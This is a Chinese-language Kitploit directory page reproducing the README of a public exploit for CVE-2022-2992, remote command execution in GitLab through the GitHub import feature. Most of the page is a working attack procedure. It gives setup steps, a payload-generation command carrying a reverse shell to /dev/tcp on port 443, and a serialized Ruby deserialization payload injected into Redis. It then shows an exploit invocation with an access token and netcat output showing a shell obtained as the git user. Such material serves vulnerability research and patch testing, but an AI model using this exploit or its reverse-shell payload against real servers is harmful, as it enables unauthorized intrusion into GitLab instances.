Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-2992 — GitLab 中通过 GitHub 导入实现认证远程命令执行。 | Kitploit
工具/GitHubGitHub/malwareman007/cve-2022-2992
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubmalwareman007/cve-2022-2992

CVE-2022-2992

GitLab 中通过 GitHub 导入实现认证远程命令执行。

查看仓库
81212022年10月14日尚未审核
分享

CVE-2022-2992

通过GitHub导入在Gitlab中进行经过身份验证的远程命令执行。

一个影响GitLab CE/EE的漏洞,影响版本从11.10到15.1.6之前,所有从15.2开始到15.2.4之前的版本,以及所有从15.3开始到15.3.2之前的版本。该漏洞允许经过身份验证的用户通过"从GitHub API导入"端点实现远程代码执行。

https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#remote-command-execution-via-github-import

前置条件

  • Ngrok
  • Ruby
  • Redis
  • Python3
  • Flask
sudo apt install ruby python3 python3-pip
gem install redis 
pip install flask

步骤

  1. 运行 ./ngrok http 5000 并保存URL。
  2. 现在运行 payload_gen.rb 生成序列化的payload并保存。示例如下:
ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'
  1. 在 server.py 中相应更新 NGROK_URL 和 PAYLOAD 变量。示例如下:
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'
  1. 在gitlab上为用户创建访问令牌,并选择所有权限。请阅读文档。
  2. 最后运行我们的 exploit.py。

注意:运行前请确保ngrok和flask服务器正在运行。

python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example
  • 我们在443端口获得一个shell
➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)

每个窗口的预期输出:

  • Ngrok
POST /vakzz/public.git/git-upload-pack 200 OK
GET  /vakzz/public.git/info/refs       200 OK
GET  /api/v3/repos/fake/name           200 OK
GET  /api/v3/repositories/12345        200 OK
GET  /api/v3/rate_limit                200 OK
GET  /api/v3/rate_limit                200 OK
  • Exploit
[1] Creating Group
[+] Successfully created group: qogjohpykk
[2] Running flask server
[3] Importing Github Repo
 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] Triggering Payload
[+] Command was executed

环境

  • 在 Gitlab 15.3.1 企业版上测试
  • 若要搭建自己的测试环境,请将 data 目录复制到 Linux VM 的 / 下。
  • 运行 build.sh 来设置环境。

致谢

  • https://hackerone.com/reports/1679624 (vakzz)
  • https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
下载工具

相关工具

  • nuclei

    基于 YAML 的快速漏洞扫描器,采用模板驱动的检测引擎,可对 Web 应用、API、网络、DNS 和云基础设施进行自动化安全测试。

  • zaproxy

    开源Web应用安全扫描器,支持自动化漏洞检测、手动渗透测试和API安全测试,并内置基于代理的拦截引擎。

  • openvas-scanner

    该仓库包含 Greenbone Community Edition 的扫描器组件。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    854
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    439
  • 4

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    373
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    365
  • 6

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    336

探索所有工具

浏览我们的工具集合

查看所有工具 →